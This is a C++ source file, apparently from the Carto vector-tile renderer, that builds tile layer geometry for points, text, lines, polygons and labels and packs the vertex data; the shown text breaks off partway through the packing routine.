{"text": "#include \"TileLayerBuilder.h\"\n#include \"TextFormatter.h\"\n#include \"Color.h\"\n\n#include <utility>\n#include <algorithm>\n#include <iterator>\n\n#include <boost/math/constants/constants.hpp>\n\nnamespace {\n    static float calculateScale(const carto::vt::VertexArray<float>& values, const carto::vt::VertexArray<std::size_t>& indices) {\n        float maxValue = 0.0f;\n        if (!values.empty()) {\n            for (std::size_t index : indices) {\n                float value = values[index];\n                maxValue = std::max(maxValue, std::abs(value));\n            }\n        }\n        if (maxValue == 0.0f) {\n            return 1.0f;\n        }\n        return std::pow(2.0f, std::floor(std::log(32767.0f / maxValue) / std::log(2.0f)));\n    }\n\n    template <typename T>\n    static float calculateScale(const carto::vt::VertexArray<T>& values, const carto::vt::VertexArray<std::size_t>& indices) {\n        float maxValue = 0.0f;\n        if (!values.empty()) {\n            for (std::size_t index : indices) {\n                const T& value = values[index];\n                for (auto it = value.cbegin(); it != value.cend(); it++) {\n                    maxValue = std::max(maxValue, std::abs(static_cast<float>(*it)));\n                }\n            }\n        }\n        if (maxValue == 0.0f) {\n            return 1.0f;\n        }\n        return std::pow(2.0f, std::floor(std::log(32767.0f / maxValue) / std::log(2.0f)));\n    }\n}\n\nnamespace carto { namespace vt {\n    TileLayerBuilder::TileLayerBuilder(const TileId& tileId, int layerIdx, std::shared_ptr<const TileTransformer::VertexTransformer> transformer, float tileSize, float geomScale) :\n        _tileId(tileId), _layerIdx(layerIdx), _tileSize(tileSize), _geomScale(geomScale), _transformer(std::move(transformer)), _clipBox(cglib::vec2<float>(-0.125f, -0.125f), cglib::vec2<float>(1.125f, 1.125f)), _polygonClipBox(cglib::vec2<float>(-0.001953125f, -0.001953125), cglib::vec2<float>(1.001953125f, 1.001953125f))\n    {\n        _coords.reserve(RESERVED_VERTICES);\n        _texCoords.reserve(RESERVED_VERTICES);\n        _binormals.reserve(RESERVED_VERTICES);\n        _heights.reserve(RESERVED_VERTICES);\n        _attribs.reserve(RESERVED_VERTICES);\n        _indices.reserve(RESERVED_VERTICES);\n        _ids.reserve(RESERVED_VERTICES);\n    }\n\n    void TileLayerBuilder::setClipBox(const cglib::bbox2<float>& clipBox) {\n        _clipBox = clipBox;\n    }\n\n    void TileLayerBuilder::addBackground(const std::shared_ptr<TileBackground>& background) {\n        _backgroundList.push_back(background);\n    }\n\n    void TileLayerBuilder::addBitmap(const std::shared_ptr<TileBitmap>& bitmap) {\n        _bitmapList.push_back(bitmap);\n    }\n\n    TileLayerBuilder::PointProcessor TileLayerBuilder::createPointProcessor(const PointStyle& style, const std::shared_ptr<GlyphMap>& glyphMap) {\n        if (style.sizeFunc == FloatFunction(0) || !style.image) {\n            return PointProcessor();\n        }\n\n        if (_builderParameters.type != TileGeometry::Type::POINT || _builderParameters.glyphMap != glyphMap || _builderParameters.transform != style.transform || _builderParameters.compOp != style.compOp || _builderParameters.parameterCount >= TileGeometry::StyleParameters::MAX_PARAMETERS) {\n            appendGeometry();\n        }\n        _builderParameters.type = TileGeometry::Type::POINT;\n        _builderParameters.glyphMap = glyphMap;\n        _builderParameters.transform = style.transform;\n        _builderParameters.compOp = style.compOp;\n        GlyphMap::GlyphId glyphId = glyphMap->loadBitmapGlyph(style.image->bitmap, style.image->sdfMode);\n        int styleIndex = _builderParameters.parameterCount;\n        while (--styleIndex >= 0) {\n            if (_builderParameters.colorFuncs[styleIndex] == style.colorFunc && _builderParameters.widthFuncs[styleIndex] == style.sizeFunc && _builderParameters.offsetFuncs[styleIndex] == FloatFunction(0)) {\n                break;\n            }\n        }\n        if (styleIndex < 0) {\n            styleIndex = _builderParameters.parameterCount++;\n            _builderParameters.colorFuncs[styleIndex] = style.colorFunc;\n            _builderParameters.widthFuncs[styleIndex] = style.sizeFunc;\n            _builderParameters.offsetFuncs[styleIndex] = FloatFunction(0);\n        }\n\n        return [style, styleIndex, glyphMap, glyphId, this](long long id, const Vertex& vertex) {\n            std::size_t i0 = _indices.size();\n            cglib::vec2<float> pen(0, 0);\n            const GlyphMap::Glyph* glyph = glyphMap->getGlyph(glyphId);\n            if (glyph) {\n                pen = -cglib::vec2<float>(glyph->width, glyph->height) * 0.5f;\n                tesselateGlyph(vertex, static_cast<std::int8_t>(styleIndex), pen * style.image->scale, cglib::vec2<float>(glyph->width, glyph->height) * style.image->scale, glyph);\n            }\n            _ids.fill(id, _indices.size() - i0);\n        };\n    }\n\n    TileLayerBuilder::TextProcessor TileLayerBuilder::createTextProcessor(const TextStyle& style, const TextFormatter& formatter) {\n        if (style.sizeFunc == FloatFunction(0) && !style.backgroundImage) {\n            return TextProcessor();\n        }\n\n        std::optional<Transform> transform;\n        if (style.angle != 0) {\n            float angle = -style.angle * boost::math::constants::pi<float>() / 180.0f;\n            transform = Transform::fromMatrix2(cglib::rotate2_matrix(angle));\n        }\n\n        const std::shared_ptr<const Font>& font = formatter.getFont();\n\n        if (_builderParameters.type != TileGeometry::Type::POINT || _builderParameters.glyphMap != font->getGlyphMap() || _builderParameters.transform != transform || _builderParameters.compOp != style.compOp || _builderParameters.parameterCount + 2 > TileGeometry::StyleParameters::MAX_PARAMETERS) {\n            appendGeometry();\n        }\n        _builderParameters.type = TileGeometry::Type::POINT;\n        _builderParameters.glyphMap = font->getGlyphMap();\n        _builderParameters.transform = transform;\n        _builderParameters.compOp = style.compOp;\n        int styleIndex = _builderParameters.parameterCount;\n        while (--styleIndex >= 0) {\n            if (_builderParameters.colorFuncs[styleIndex] == style.colorFunc && _builderParameters.widthFuncs[styleIndex] == style.sizeFunc && _builderParameters.offsetFuncs[styleIndex] == FloatFunction(0)) {\n                break;\n            }\n        }\n        if (styleIndex < 0) {\n            styleIndex = _builderParameters.parameterCount++;\n            _builderParameters.colorFuncs[styleIndex] = style.colorFunc;\n            _builderParameters.widthFuncs[styleIndex] = style.sizeFunc;\n            _builderParameters.offsetFuncs[styleIndex] = FloatFunction(0);\n        }\n\n        int haloStyleIndex = -1;\n        if (style.haloRadiusFunc != FloatFunction(0)) {\n            for (haloStyleIndex = _builderParameters.parameterCount; --haloStyleIndex >= 0; ) {\n                if (_builderParameters.colorFuncs[haloStyleIndex] == style.haloColorFunc && _builderParameters.widthFuncs[haloStyleIndex] == style.sizeFunc && _builderParameters.offsetFuncs[haloStyleIndex] == style.haloRadiusFunc) {\n                    break;\n                }\n            }\n            if (haloStyleIndex < 0) {\n                haloStyleIndex = _builderParameters.parameterCount++;\n                _builderParameters.colorFuncs[haloStyleIndex] = style.haloColorFunc;\n                _builderParameters.widthFuncs[haloStyleIndex] = style.sizeFunc;\n                _builderParameters.offsetFuncs[haloStyleIndex] = style.haloRadiusFunc;\n            }\n        }\n\n        return [style, styleIndex, haloStyleIndex, font, formatter, this](long long id, const Vertex& vertex, const std::string& text) {\n            std::size_t i0 = _indices.size();\n            std::vector<Font::Glyph> glyphs = formatter.format(text, 1.0f);\n            Font::Metrics metrics = font->getMetrics(1.0f);\n            if (style.backgroundImage) {\n                const GlyphMap::Glyph* baseGlyph = font->getGlyphMap()->getGlyph(font->getGlyphMap()->loadBitmapGlyph(style.backgroundImage->bitmap, style.backgroundImage->sdfMode));\n                if (baseGlyph) {\n                    float scale = style.backgroundImage->scale / formatter.getFontSize();\n                    Font::Glyph glyph(0, Font::NULL_CODEPOINT, *baseGlyph, cglib::vec2<float>(baseGlyph->width, baseGlyph->height) * (style.backgroundScale * scale), style.backgroundOffset * scale, cglib::vec2<float>(0, 0));\n                    tesselateGlyph(vertex, styleIndex, glyph.offset * style.backgroundImage->scale, glyph.size * style.backgroundImage->scale, &glyph.baseGlyph);\n                }\n            }\n\n            for (int pass = (haloStyleIndex >= 0 ? 0 : 1); pass < 2; pass++) {\n                cglib::vec2<float> pen(0, 0);\n                for (Font::Glyph& glyph : glyphs) {\n                    if (glyph.codePoint == Font::CR_CODEPOINT) {\n                        pen = cglib::vec2<float>(0, 0);\n                    }\n                    else {\n                        cglib::vec2<float> offset(glyph.offset(0), metrics.ascent + metrics.descent - glyph.size(1) - glyph.offset(1));\n                        tesselateGlyph(vertex, static_cast<std::int8_t>(pass == 0 ? haloStyleIndex : styleIndex), pen + offset, glyph.size, &glyph.baseGlyph);\n                    }\n\n                    pen += glyph.advance;\n                }\n            }\n            _ids.fill(id, _indices.size() - i0);\n        };\n    }\n\n    TileLayerBuilder::LineProcessor TileLayerBuilder::createLineProcessor(const LineStyle& style, const std::shared_ptr<StrokeMap>& strokeMap) {\n        if (style.widthFunc == FloatFunction(0)) {\n            return LineProcessor();\n        }\n\n        if ((_builderParameters.strokeMap && _builderParameters.strokeMap != strokeMap) || _builderParameters.transform != style.transform || _builderParameters.compOp != style.compOp || _builderParameters.parameterCount >= TileGeometry::StyleParameters::MAX_PARAMETERS) {\n            appendGeometry();\n        }\n        else if (!(_builderParameters.type == TileGeometry::Type::LINE || (_builderParameters.type == TileGeometry::Type::POLYGON && !_builderParameters.pattern && !_builderParameters.transform))) { // we can use also line drawing shader but ONLY if pattern/transform is not used for polygons (pattern can be used for lines)\n            appendGeometry();\n        }\n        _builderParameters.type = TileGeometry::Type::LINE;\n        _builderParameters.strokeMap = strokeMap;\n        _builderParameters.transform = style.transform;\n        _builderParameters.compOp = style.compOp;\n        StrokeMap::StrokeId strokeId = (style.strokePattern ? strokeMap->loadBitmapPattern(style.strokePattern) : 0);\n        const StrokeMap::Stroke* stroke = (strokeId != 0 ? strokeMap->getStroke(strokeId) : nullptr);\n        int styleIndex = _builderParameters.parameterCount;\n        while (--styleIndex >= 0) {\n            if (_builderParameters.colorFuncs[styleIndex] == style.colorFunc && _builderParameters.widthFuncs[styleIndex] == style.widthFunc && _builderParameters.offsetFuncs[styleIndex] == style.offsetFunc && _builderParameters.lineStrokeIds[styleIndex] == strokeId) {\n                break;\n            }\n        }\n        if (styleIndex < 0) {\n            styleIndex = _builderParameters.parameterCount++;\n            _builderParameters.colorFuncs[styleIndex] = style.colorFunc;\n            _builderParameters.widthFuncs[styleIndex] = style.widthFunc;\n            _builderParameters.offsetFuncs[styleIndex] = style.offsetFunc;\n            _builderParameters.lineStrokeIds[styleIndex] = strokeId;\n        }\n\n        return [style, styleIndex, stroke, this](long long id, const Vertices& vertices) {\n            std::size_t i0 = _indices.size();\n            _binormals.fill(cglib::vec2<float>(0, 0), _coords.size() - _binormals.size()); // needed if previously only polygons were used\n            tesselateLine(vertices, static_cast<std::int8_t>(styleIndex), stroke, style);\n            _ids.fill(id, _indices.size() - i0);\n        };\n    }\n\n    TileLayerBuilder::PolygonProcessor TileLayerBuilder::createPolygonProcessor(const PolygonStyle& style) {\n        TileGeometry::Type type = TileGeometry::Type::POLYGON;\n        if (_builderParameters.pattern != style.pattern || _builderParameters.transform != style.transform || _builderParameters.compOp != style.compOp || _builderParameters.parameterCount >= TileGeometry::StyleParameters::MAX_PARAMETERS) {\n            appendGeometry();\n        }\n        else if (!(_builderParameters.type == TileGeometry::Type::POLYGON || (_builderParameters.type == TileGeometry::Type::LINE && !style.pattern && !style.transform))) { // we can use also line drawing shader but ONLY if pattern/transform is not used for polygons (pattern can be used for lines)\n            appendGeometry();\n        }\n        else {\n            type = _builderParameters.type;\n        }\n        _builderParameters.type = type;\n        _builderParameters.pattern = style.pattern;\n        _builderParameters.transform = style.transform;\n        _builderParameters.compOp = style.compOp;\n        int styleIndex = _builderParameters.parameterCount;\n        while (--styleIndex >= 0) {\n            if (_builderParameters.colorFuncs[styleIndex] == style.colorFunc && _builderParameters.widthFuncs[styleIndex] == FloatFunction(0) && _builderParameters.offsetFuncs[styleIndex] == FloatFunction(0) && _builderParameters.lineStrokeIds[styleIndex] == 0) {\n                break;\n            }\n        }\n        if (styleIndex < 0) {\n            styleIndex = _builderParameters.parameterCount++;\n            _builderParameters.colorFuncs[styleIndex] = style.colorFunc;\n            _builderParameters.widthFuncs[styleIndex] = FloatFunction(0); // fill width information when we need to use line shader with polygons\n            _builderParameters.offsetFuncs[styleIndex] = FloatFunction(0); // fill offset information when we need to use line shader with polygons\n            _builderParameters.lineStrokeIds[styleIndex] = 0; // fill stroke information when we need to use line shader with polygons\n        }\n\n        return [type, style, styleIndex, this](long long id, const VerticesList& verticesList) {\n            std::size_t i0 = _ids.size();\n            tesselatePolygon(verticesList, static_cast<std::int8_t>(styleIndex), style);\n            _ids.fill(id, _indices.size() - i0);\n            if (type == TileGeometry::Type::LINE) {\n                _binormals.fill(cglib::vec2<float>(0, 0), _coords.size() - _binormals.size()); // use zero binormals if using 'lines'\n            }\n        };\n    }\n\n    TileLayerBuilder::Polygon3DProcessor TileLayerBuilder::createPolygon3DProcessor(const Polygon3DStyle& style) {\n        if (_builderParameters.type != TileGeometry::Type::POLYGON3D || _builderParameters.transform != style.transform || _builderParameters.parameterCount >= TileGeometry::StyleParameters::MAX_PARAMETERS) {\n            appendGeometry();\n        }\n        _builderParameters.type = TileGeometry::Type::POLYGON3D;\n        _builderParameters.transform = style.transform;\n        int styleIndex = _builderParameters.parameterCount;\n        while (--styleIndex >= 0) {\n            if (_builderParameters.colorFuncs[styleIndex] == style.colorFunc) {\n                break;\n            }\n        }\n        if (styleIndex < 0) {\n            styleIndex = _builderParameters.parameterCount++;\n            _builderParameters.colorFuncs[styleIndex] = style.colorFunc;\n        }\n\n        return [style, styleIndex, this](long long id, const VerticesList& verticesList, float minHeight, float maxHeight) {\n            std::size_t i0 = _ids.size();\n            tesselatePolygon3D(verticesList, minHeight, maxHeight, static_cast<std::int8_t>(styleIndex), style);\n            _ids.fill(id, _indices.size() - i0);\n        };\n    }\n\n    TileLayerBuilder::PointLabelProcessor TileLayerBuilder::createPointLabelProcessor(const PointLabelStyle& style, const std::shared_ptr<GlyphMap>& glyphMap) {\n        if (style.sizeFunc == FloatFunction(0) || !style.image) {\n            return PointLabelProcessor();\n        }\n\n        const GlyphMap::Glyph* baseGlyph = glyphMap->getGlyph(glyphMap->loadBitmapGlyph(style.image->bitmap, style.image->sdfMode));\n        if (!baseGlyph) {\n            return PointLabelProcessor();\n        }\n        std::vector<Font::Glyph> bitmapGlyphs = {\n            Font::Glyph(0, Font::CR_CODEPOINT, GlyphMap::Glyph(false, 0, 0, 0, 0, cglib::vec2<float>(0, 0)), cglib::vec2<float>(0, 0), cglib::vec2<float>(0, 0), -cglib::vec2<float>(style.image->bitmap->width, style.image->bitmap->height) * (style.image->scale * 0.5f)),\n            Font::Glyph(0, Font::NULL_CODEPOINT, *baseGlyph, cglib::vec2<float>(baseGlyph->width, baseGlyph->height) * style.image->scale, cglib::vec2<float>(0, 0), cglib::vec2<float>(0, 0))\n        };\n\n        float scale = 1.0f / _tileSize;\n        std::optional<Transform> transform;\n        if (style.transform) {\n            cglib::mat3x3<float> flippedTransform = style.transform->matrix3() * cglib::scale3_matrix(cglib::vec3<float>(1, -1, 1));\n            cglib::mat2x2<float> matrix{ { flippedTransform(0, 0), flippedTransform(0, 1)}, { -flippedTransform(1, 0), -flippedTransform(1, 1) } };\n            cglib::vec2<float> translate(flippedTransform(0, 2) / _tileSize, flippedTransform(1, 2) / _tileSize);\n            transform = Transform::fromMatrix2Translate(matrix, translate);\n        }\n\n        if (!_labelStyle || _labelStyle->orientation != style.orientation || _labelStyle->colorFunc != style.colorFunc || _labelStyle->sizeFunc != style.sizeFunc || _labelStyle->haloColorFunc != ColorFunction() || _labelStyle->haloRadiusFunc != FloatFunction() || _labelStyle->autoflip != style.autoflip || _labelStyle->scale != scale || _labelStyle->ascent != 0.0f || _labelStyle->descent != 0.0f || _labelStyle->transform != transform || _labelStyle->glyphMap != glyphMap) {\n            _labelStyle = std::make_shared<TileLabel::Style>(style.orientation, style.colorFunc, style.sizeFunc, ColorFunction(), FloatFunction(), style.autoflip, scale, 0.0f, 0.0f, transform, glyphMap);\n        }\n\n        return [bitmapGlyphs, this](long long localId, long long globalId, long long groupId, const std::variant<Vertex, Vertices>& position, float priority, float minimumGroupDistance) {\n            std::optional<cglib::vec2<float>> labelPosition;\n            std::vector<cglib::vec2<float>> labelVertices;\n            if (auto pos = std::get_if<Vertex>(&position)) {\n                labelPosition = *pos;\n            }\n            else if (auto vertices = std::get_if<Vertices>(&position)) {\n                VertexArray<cglib::vec2<float>> tesselatedVertices;\n                _transformer->tesselateLineString(vertices->data(), vertices->size(), tesselatedVertices);\n                labelVertices.assign(tesselatedVertices.begin(), tesselatedVertices.end());\n            }\n\n            TileLabel::PlacementInfo placementInfo(priority, minimumGroupDistance);\n            auto pointLabel = std::make_shared<TileLabel>(_tileId, _layerIdx, localId, globalId, groupId, bitmapGlyphs, std::move(labelPosition), std::move(labelVertices), _labelStyle, placementInfo);\n            _labelList.push_back(std::move(pointLabel));\n        };\n    }\n\n    TileLayerBuilder::TextLabelProcessor TileLayerBuilder::createTextLabelProcessor(const TextLabelStyle& style, const TextFormatter& formatter) {\n        if (style.sizeFunc == FloatFunction(0) && !style.backgroundImage) {\n            return TextLabelProcessor();\n        }\n\n        float scale = 1.0f / _tileSize;\n        std::optional<Transform> transform;\n        if (style.orientation != LabelOrientation::LINE && style.angle != 0) {\n            float angle = style.angle * boost::math::constants::pi<float>() / 180.0f;\n            transform = Transform::fromMatrix2(cglib::rotate2_matrix(angle));\n        }\n\n        const std::shared_ptr<const Font>& font = formatter.getFont();\n        Font::Metrics metrics = formatter.getFont()->getMetrics(1.0f);\n        if (!_labelStyle || _labelStyle->orientation != style.orientation || _labelStyle->colorFunc != style.colorFunc || _labelStyle->sizeFunc != style.sizeFunc || _labelStyle->haloColorFunc != style.haloColorFunc || _labelStyle->haloRadiusFunc != style.haloRadiusFunc || _labelStyle->autoflip != style.autoflip || _labelStyle->scale != scale || _labelStyle->ascent != metrics.ascent || _labelStyle->descent != metrics.descent || _labelStyle->transform != transform || _labelStyle->glyphMap != font->getGlyphMap()) {\n            _labelStyle = std::make_shared<TileLabel::Style>(style.orientation, style.colorFunc, style.sizeFunc, style.haloColorFunc, style.haloRadiusFunc, style.autoflip, scale, metrics.ascent, metrics.descent, transform, font->getGlyphMap());\n        }\n\n        return [style, font, formatter, this](long long localId, long long globalId, long long groupId, const std::optional<Vertex>& position, const Vertices& vertices, const std::string& text, float priority, float minimumGroupDistance) {\n            if (!text.empty() || style.backgroundImage) {\n                std::vector<Font::Glyph> glyphs = formatter.format(text, 1.0f);\n                if (style.backgroundImage) {\n                    const GlyphMap::Glyph* baseGlyph = font->getGlyphMap()->getGlyph(font->getGlyphMap()->loadBitmapGlyph(style.backgroundImage->bitmap, style.backgroundImage->sdfMode));\n                    if (baseGlyph) {\n                        float scale = style.backgroundImage->scale / formatter.getFontSize();\n                        glyphs.insert(glyphs.begin(), Font::Glyph(0, Font::NULL_CODEPOINT, *baseGlyph, cglib::vec2<float>(baseGlyph->width, baseGlyph->height) * (style.backgroundScale * scale), style.backgroundOffset * scale, cglib::vec2<float>(baseGlyph->width, 0) * scale));\n                    }\n                }\n\n                std::optional<cglib::vec2<float>> labelPosition;\n                if (position) {\n                    labelPosition = *position;\n                }\n                std::vector<cglib::vec2<float>> labelVertices;\n                if (!vertices.empty()) {\n                    VertexArray<cglib::vec2<float>> tesselatedVertices;\n                    _transformer->tesselateLineString(vertices.data(), vertices.size(), tesselatedVertices);\n                    labelVertices.assign(tesselatedVertices.begin(), tesselatedVertices.end());\n                }\n\n                TileLabel::PlacementInfo placementInfo(priority, minimumGroupDistance);\n                auto textLabel = std::make_shared<TileLabel>(_tileId, _layerIdx, localId, globalId, groupId, std::move(glyphs), std::move(labelPosition), std::move(labelVertices), _labelStyle, placementInfo);\n                _labelList.push_back(std::move(textLabel));\n            }\n        };\n    }\n\n    std::shared_ptr<TileLayer> TileLayerBuilder::buildTileLayer(std::optional<CompOp> compOp, FloatFunction opacityFunc) const {\n        std::vector<std::shared_ptr<TileGeometry>> geometryList = _geometryList;\n        packGeometry(geometryList);\n\n        return std::make_shared<TileLayer>(_layerIdx, std::move(compOp), std::move(opacityFunc), _backgroundList, _bitmapList, std::move(geometryList), _labelList);\n    }\n\n    void TileLayerBuilder::appendGeometry() {\n        if (_builderParameters.type == TileGeometry::Type::NONE) {\n            return;\n        }\n\n        packGeometry(_geometryList);\n\n        _builderParameters = BuilderParameters();\n        _coords.clear();\n        _texCoords.clear();\n        _binormals.clear();\n        _heights.clear();\n        _attribs.clear();\n        _indices.clear();\n        _ids.clear();\n    }\n\n    void TileLayerBuilder::packGeometry(std::vector<std::shared_ptr<TileGeometry>>& geometryList) const {\n        if (_builderParameters.type == TileGeometry::Type::NONE) {\n            return;\n        }\n\n        // Create style parameters\n        TileGeometry::StyleParameters styleParameters;\n        styleParameters.parameterCount = _builderParameters.parameterCount;\n        for (int i = 0; i < styleParameters.parameterCount; i++) {\n            styleParameters.colorFuncs[i] = _builderParameters.colorFuncs[i];\n            styleParameters.widthFuncs[i] = _builderParameters.widthFuncs[i];\n            styleParameters.offsetFuncs[i] = _builderParameters.offsetFuncs[i];\n            const StrokeMap::Stroke* stroke = nullptr;\n            if (_builderParameters.strokeMap && _builderParameters.lineStrokeIds[i] != 0) {\n                stroke = _builderParameters.strokeMap->getStroke(_builderParameters.lineStrokeIds[i]);\n            }\n            styleParameters.strokeScales[i] = (stroke ? stroke->scale : 0);\n        }\n        if (_builderParameters.transform) {\n            cglib::vec2<float> translate = _builderParameters.transform->translate();\n            if (translate != cglib::vec2<float>(0, 0)) {\n                styleParameters.translate = translate * (1.0f / _tileSize);\n            }\n        }\n        styleParameters.compOp = _builderParameters.compOp;\n\n        if (_builderParameters.strokeMap) {\n            bool strokeUsed = std::any_of(_builderParameters.lineStrokeIds.begin(), _builderParameters.lineStrokeIds.begin() + _builderParameters.parameterCount, [](StrokeMap::StrokeId strokeId) { return strokeId != 0; });\n            if (strokeUsed) {\n                styleParameters.pattern = _builderParameters.strokeMap->getBitmapPattern();\n            }\n        }\n        else if (_builderParameters.glyphMap) {\n            styleParameters.pattern = _builderParameters.glyphMap->getBitmapPattern();\n        }\n        else {\n            styleParameters.pattern = _builderParameters.pattern;\n        }\n\n        // Transform coordinates, binormals, calculate normals\n        VertexArray<cglib::vec3<float>> coords;\n        VertexArray<cglib::vec3<float>> normals;\n        VertexArray<cglib::vec3<float>> binormals;\n        coords.reserve(_coords.size());\n        normals.reserve(_coords.size());\n        binormals.reserve(_binormals.size());\n        if (!_builderParameters.transform) {\n            for (std::size_t i = 0; i < _coords.size(); i++) {\n                coords.append(_transformer->calculatePoint(_coords[i]));\n                normals.append(_transformer->calculateNormal(_coords[i]));\n                if (!_binormals.empty()) {\n                    binormals.append(_transformer->calculateVector(_coords[i], _binormals[i]));\n                }\n            }\n        }\n        else {\n            cglib::mat2x2<float> transform = _builderParameters.transform->matrix2();\n            cglib::mat2x2<float> invTransTransform = cglib::transpose(cglib::inverse(transform));\n            for (std::size_t i = 0; i < _coords.size(); i++) {\n                cglib::vec2<float> pos;\n                if (_builderParameters.type == TileGeometry::Type::POINT) {\n                    pos = _coords[i];\n                } else {\n                    pos = cglib::transform(_coords[i], transform);\n                }\n                coords.append(_transformer->calculatePoint(pos));\n                normals.append(_transformer->calculateNormal(pos));\n                if (!_binormals.empty()) {\n                    cglib::vec2<float> binormal;\n                    if (_builderParameters.type == TileGeometry::Type::POINT) {\n                        binormal = cglib::transform(_binormals[i], transform);\n                    } else {\n                        binormal = cglib::unit(cglib::transform(_binormals[i], invTransTransform)) * cglib::length(_binormals[i]);\n                    }\n                    binormals.append(_transformer->calculateVector(pos, binormal));\n                }\n            }\n        }\n        if (std::all_of(normals.begin(), normals.end(), [](const cglib::vec3<float>& normal) { return normal(2) == 1; })) {\n            normals.clear();\n        }\n\n        // Transform texture coordinates. Note that texture coordinates are also used as local tile coordinates for 3D polygons.\n        VertexArray<cglib::vec2<float>> texCoords;\n        if (styleParameters.pattern || _builderParameters.type == TileGeometry::Type::POLYGON3D) {\n            texCoords.reserve(_texCoords.size());\n            cglib::mat2x2<float> transform = cglib::mat2x2<float>::identity();\n            if (styleParameters.pattern) {\n                transform = cglib::mat2x2<float> {{ 1.0f / styleParameters.pattern->bitmap->width, 0 }, { 0, 1.0f / styleParameters.pattern->bitmap->height }};\n            }\n            else if (_builderParameters.type == TileGeometry::Type::POLYGON3D && _builderParameters.transform) {\n                transform = _builderParameters.transform->matrix2();\n            }\n            for (std::size_t i = 0; i < _texCoords.size(); i++) {\n                texCoords.append(cglib::transform(_texCoords[i], transform));\n            }\n        }\n\n        // Transform heights\n        VertexArray<float> heights;\n        heights.reserve(_heights.size());\n        for (std::size_t i = 0; i < _heights.size(); i++) {\n            heights.append(_transformer->calculateHeight(_coords[i], _heights[i]));\n        }\n\n        // Compress attributes\n        VertexArray<cglib::vec4<std::int8_t>> attribs;\n        attribs.copy(_attribs, 0, _attribs.size());\n        if (std::all_of(attribs.begin(), attribs.end(), [](const cglib::vec4<std::int8_t>& attrib) { return attrib == cglib::vec4<std::int8_t>(0, 0, 0, 0); })) {\n            attribs.clear();\n        }\n\n        // Calculate number of dimensions required for coordinates/binormals\n        int dimensions = 2;\n        if (std::any_of(coords.begin(), coords.end(), [](const cglib::vec3<float>& coord) { return coord(2) != 0; })) {\n            dimensions = 3;\n        }\n        else if (std::any_of(normals.begin(), normals.end(), [](const cglib::vec3<float>& normal) { return normal(2) != 1; })) {\n            dimensions = 3;\n        }\n        else if (std::any_of(binormals.begin(), binormals.end(), [](const cglib::vec3<float>& binormal) { return binormal(2) != 0; })) {\n            dimensions = 3;\n        }\n\n        // Split/repack geometry\n        float coordScale = calculateScale(coords, _indices);\n        float binormalScale = calculateScale(binormals, _indices);\n        float texCoordScale = calculateScale(texCoords, _indices);\n        float heightScale = calculateScale(heights, _indices);\n        for (std::size_t offset = 0; offset < _indices.size(); ) {\n            std::size_t count = std::min(std::size_t(65535), _indices.size() - offset);\n\n            std::vector<std::size_t> indexTable(coords.size(), 65536);\n            VertexArray<cglib::vec3<float>> remappedCoords;\n            remappedCoords.reserve(coords.size());\n            VertexArray<cglib::vec4<std::int8_t>> remappedAttribs;\n            remappedAttribs.reserve(attribs.size());\n            VertexArray<cglib::vec2<float>> remappedTexCoords;\n            remappedTexCoords.reserve(texCoords.size());\n            VertexArray<cglib::vec3<float>> remappedNormals;\n            remappedNormals.reserve(normals.size());\n            VertexArray<cglib::vec3<float>> remappedBinormals;\n            remappedBinormals.reserve(binormals.size());\n            VertexArray<float> remappedHeights;\n            remappedHeights.reserve(heights.size());\n            VertexArray<std::size_t> remappedIndices;\n            remappedIndices.reserve(count);\n            VertexArray<long long> remappedIds;\n            remappedIds.reserve(count);\n            for (std::size_t i = 0; i < count; i++) {\n                std::size_t index = _indices[offset + i];\n                std::size_t remappedIndex = indexTable[index];\n                if (remappedIndex == 65536) {\n                    remappedIndex = remappedCoords.size();\n                    indexTable[index] = remappedIndex;\n\n                    remappedCoords.append(coords[index]);\n                    if (!attribs.empty()) {\n                        remappedAttribs.append(attribs[index]);\n                    }\n                    if (!texCoords.empty()) {\n                        remappedTexCoords.append(texCoords[index]);\n                    }\n                    if (!normals.empty()) {\n                        remappedNormals.append(normals[index]);\n                    }\n                    if (!binormals.empty()) {\n                        remappedBinormals.append(binormals[index]);\n                    }\n                    if (!heights.empty()) {\n                        remappedHeights.append(heights[index]);\n                    }\n                }\n\n                remappedIndices.append(remappedIndex);\n                remappedIds.append(_ids[offset + i]);\n            }\n\n            packGeometry(_builderParameters.type, dimensions, coordScale, binormalScale, texCoordScale, heightScale, remappedCoords, remappedTexCoords, remappedNormals, remappedBinormals, remappedHeights, remappedAttribs, remappedIndices, remappedIds, styleParameters, geometryList);\n\n            offset += count;\n        }\n    }\n\n    void TileLayerBuilder::packGeometry(TileGeometry::Type type, int dimensions, float coordScale, float binormalScale, float texCoordScale, float heightScale, const VertexArray<cglib::vec3<float>>& coords, const VertexArray<cglib::vec2<float>>& texCoords, const VertexArray<cglib::vec3<float>>& normals, const VertexArray<cglib::vec3<float>>& binormals, const VertexArray<float>& heights, const VertexArray<cglib::vec4<std::int8_t>>& attribs, const VertexArray<std::size_t>& indices, const VertexArray<long long>& ids, const TileGeometry::StyleParameters& styleParameters, std::vector<std::shared_ptr<TileGeometry>>& geometryList) const {\n        if (indices.empty()) {\n            return;\n        }\n        \n        // Build geometry layout info\n        TileGeometry::VertexGeometryLayoutParameters vertexGeomLayoutParams;\n        vertexGeomLayoutParams.dimensions = dimensions;\n        vertexGeomLayoutParams.coordOffset = vertexGeomLayoutParams.vertexSize;\n        vertexGeomLayoutParams.vertexSize += dimensions * sizeof(std::int16_t);\n        vertexGeomLayoutParams.vertexSize = (vertexGeomLayoutParams.vertexSize + 3) & ~3;\n\n        if (!attribs.empty()) {\n            vertexGeomLayoutParams.attribsOffset = vertexGeomLayoutParams.vertexSize;\n            vertexGeomLayoutParams.vertexSize += 4 * sizeof(std::int8_t);\n        }\n\n        if (!texCoords.empty()) {\n            vertexGeomLayoutParams.texCoordOffset = vertexGeomLayoutParams.vertexSize;\n            vertexGeomLayoutParams.vertexSize += 2 * sizeof(std::int16_t);\n        }\n\n        if (!normals.empty()) {\n            vertexGeomLayoutParams.normalOffset = vertexGeomLayoutParams.vertexSize;\n            vertexGeomLayoutParams.vertexSize += dimensions * sizeof(std::int16_t);\n            vertexGeomLayoutParams.vertexSize = (vertexGeomLayoutParams.vertexSize + 3) & ~3;\n        }\n\n        if (!binormals.empty()) {\n            vertexGeomLayoutParams.binormalOffset = vertexGeomLayoutParams.vertexSize;\n            vertexGeomLayoutParams.vertexSize += dimensions * sizeof(std::int16_t);\n            vertexGeomLayoutParams.vertexSize = (vertexGeomLayoutParams.vertexSize + 3) & ~3;\n        }\n\n        if (!heights.empty()) {\n            vertexGeomLayoutParams.heightOffset = vertexGeomLayoutParams.vertexSize;\n            vertexGeomLayoutParams.vertexSize += 